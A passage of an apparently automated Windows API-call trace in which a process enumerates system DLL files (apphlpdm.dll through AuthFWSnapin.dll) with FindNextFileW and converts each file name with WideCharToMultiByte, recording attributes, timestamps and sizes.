CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHLPDM.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHLPDM.DLL", cchWideChar=12, lpMultiByteStr=0x226c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPHLPDM.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.452] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc6b7842, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xcc6b7842, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7e608600, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="appidapi.dll", cAlternateFileName="")) returned 1 [0140.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDAPI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDAPI.DLL", cchWideChar=12, lpMultiByteStr=0x226c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPIDAPI.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.452] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd29cc968, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xd29cc968, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7e6540f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x31a00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="AppIdPolicyEngineApi.dll", cAlternateFileName="")) returned 1 [0140.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDPOLICYENGINEAPI.DLL", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0140.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDPOLICYENGINEAPI.DLL", cchWideChar=24, lpMultiByteStr=0x226c120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPIDPOLICYENGINEAPI.DLL", lpUsedDefaultChar=0x0) returned 24 [0140.452] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98006f9, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x98006f9, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7e6c6ce0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x24800, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="appmgmts.dll", cAlternateFileName="")) returned 1 [0140.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGMTS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGMTS.DLL", cchWideChar=12, lpMultiByteStr=0x226c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPMGMTS.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.453] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c14fdd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1c14fdd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1c6129e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53000, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="appmgr.dll", cAlternateFileName="")) returned 1 [0140.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGR.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0140.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGR.DLL", cchWideChar=10, lpMultiByteStr=0x226c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPMGR.DLL", lpUsedDefaultChar=0x0) returned 10 [0140.453] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc81f8794, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc81f8794, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e6eb6d0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x30e00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="apss.dll", cAlternateFileName="")) returned 1 [0140.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APSS.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0140.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APSS.DLL", cchWideChar=8, lpMultiByteStr=0x226c288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APSS.DLL", lpUsedDefaultChar=0x0) returned 8 [0140.453] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31c9efbc, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x31c9efbc, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xf2a6d430, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="asferror.dll", cAlternateFileName="")) returned 1 [0140.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASFERROR.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASFERROR.DLL", cchWideChar=12, lpMultiByteStr=0x226c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ASFERROR.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.453] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x57090500, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="aspnet_counters.dll", cAlternateFileName="")) returned 1 [0140.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASPNET_COUNTERS.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0140.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASPNET_COUNTERS.DLL", cchWideChar=19, lpMultiByteStr=0x226c288, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ASPNET_COUNTERS.DLL", lpUsedDefaultChar=0x0) returned 19 [0140.453] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84e661b3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84e661b3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84e661b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10800, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="asycfilt.dll", cAlternateFileName="")) returned 1 [0140.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASYCFILT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASYCFILT.DLL", cchWideChar=12, lpMultiByteStr=0x226c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ASYCFILT.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.453] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d2b74b, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x2d2b74b, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x805466c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11200, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="atl.dll", cAlternateFileName="")) returned 1 [0140.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0140.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL.DLL", cchWideChar=7, lpMultiByteStr=0x226c288, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATL.DLL", lpUsedDefaultChar=0x0) returned 7 [0140.453] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b0b4600, ftCreationTime.dwHighDateTime=0x1cc2787, ftLastAccessTime.dwLowDateTime=0xcc438260, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x4b0b4600, ftLastWriteTime.dwHighDateTime=0x1cc2787, nFileSizeHigh=0x0, nFileSizeLow=0x21b48, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="atl100.dll", cAlternateFileName="")) returned 1 [0140.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL100.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0140.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL100.DLL", cchWideChar=10, lpMultiByteStr=0x226c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATL100.DLL", lpUsedDefaultChar=0x0) returned 10 [0140.453] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29b8ce00, ftCreationTime.dwHighDateTime=0x1ce64f7, ftLastAccessTime.dwLowDateTime=0xef797c80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x29b8ce00, ftLastWriteTime.dwHighDateTime=0x1ce64f7, nFileSizeHigh=0x0, nFileSizeLow=0x28248, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="atl110.dll", cAlternateFileName="")) returned 1 [0140.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL110.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0140.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL110.DLL", cchWideChar=10, lpMultiByteStr=0x226c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATL110.DLL", lpUsedDefaultChar=0x0) returned 10 [0140.454] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9363019e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9363019e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x936562fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x47e00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="atmfd.dll", cAlternateFileName="")) returned 1 [0140.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMFD.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0140.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMFD.DLL", cchWideChar=9, lpMultiByteStr=0x226c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATMFD.DLL", lpUsedDefaultChar=0x0) returned 9 [0140.454] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9360a03e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9360a03e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9363019e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="atmlib.dll", cAlternateFileName="")) returned 1 [0140.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMLIB.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0140.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMLIB.DLL", cchWideChar=10, lpMultiByteStr=0x226c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATMLIB.DLL", lpUsedDefaultChar=0x0) returned 10 [0140.454] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4204ec3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4204ec3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4204ec3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3b800, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="audiodev.dll", cAlternateFileName="")) returned 1 [0140.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIODEV.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIODEV.DLL", cchWideChar=12, lpMultiByteStr=0x226c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIODEV.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.454] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78f79a81, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x78f79a81, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x80675280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5b800, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="AudioEng.dll", cAlternateFileName="")) returned 1 [0140.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOENG.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOENG.DLL", cchWideChar=12, lpMultiByteStr=0x226c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIOENG.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.454] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce47270e, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0xce47270e, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0xad59f9a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6c200, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="AUDIOKSE.dll", cAlternateFileName="")) returned 1 [0140.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOKSE.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOKSE.DLL", cchWideChar=12, lpMultiByteStr=0x226c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIOKSE.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.454] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87266eb6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87266eb6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87266eb6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2fc00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="AudioSes.dll", cAlternateFileName="")) returned 1 [0140.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOSES.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOSES.DLL", cchWideChar=12, lpMultiByteStr=0x226c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIOSES.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.454] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ceb7bb, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x68ceb7bb, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80733960, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x35000, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="AuditNativeSnapIn.dll", cAlternateFileName="")) returned 1 [0140.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITNATIVESNAPIN.DLL", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0140.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITNATIVESNAPIN.DLL", cchWideChar=21, lpMultiByteStr=0x226c120, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDITNATIVESNAPIN.DLL", lpUsedDefaultChar=0x0) returned 21 [0140.454] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1010d4, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6a1010d4, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80733960, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="AuditPolicyGPInterop.dll", cAlternateFileName="")) returned 1 [0140.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLICYGPINTEROP.DLL", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0140.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLICYGPINTEROP.DLL", cchWideChar=24, lpMultiByteStr=0x226c288, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDITPOLICYGPINTEROP.DLL", lpUsedDefaultChar=0x0) returned 24 [0140.455] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6732ea88, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6732ea88, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xf6ab4570, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x17400, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="auditpolmsg.dll", cAlternateFileName="")) returned 1 [0140.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLMSG.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0140.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLMSG.DLL", cchWideChar=15, lpMultiByteStr=0x226c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDITPOLMSG.DLL", lpUsedDefaultChar=0x0) returned 15 [0140.455] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb08b31c, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xb08b31c, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x808b0720, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x51a00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="authfwcfg.dll", cAlternateFileName="")) returned 1 [0140.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWCFG.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0140.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWCFG.DLL", cchWideChar=13, lpMultiByteStr=0x226c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWCFG.DLL", lpUsedDefaultChar=0x0) returned 13 [0140.455] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a14413, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x9a14413, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x808fe920, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x48a00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="AuthFWGP.dll", cAlternateFileName="")) returned 1 [0140.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWGP.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWGP.DLL", cchWideChar=12, lpMultiByteStr=0x226c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWGP.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.455] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aed7d9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9aed7d9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9af4a1bd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4d5000, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="AuthFWSnapin.dll", cAlternateFileName="")) returned 1 [0140.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 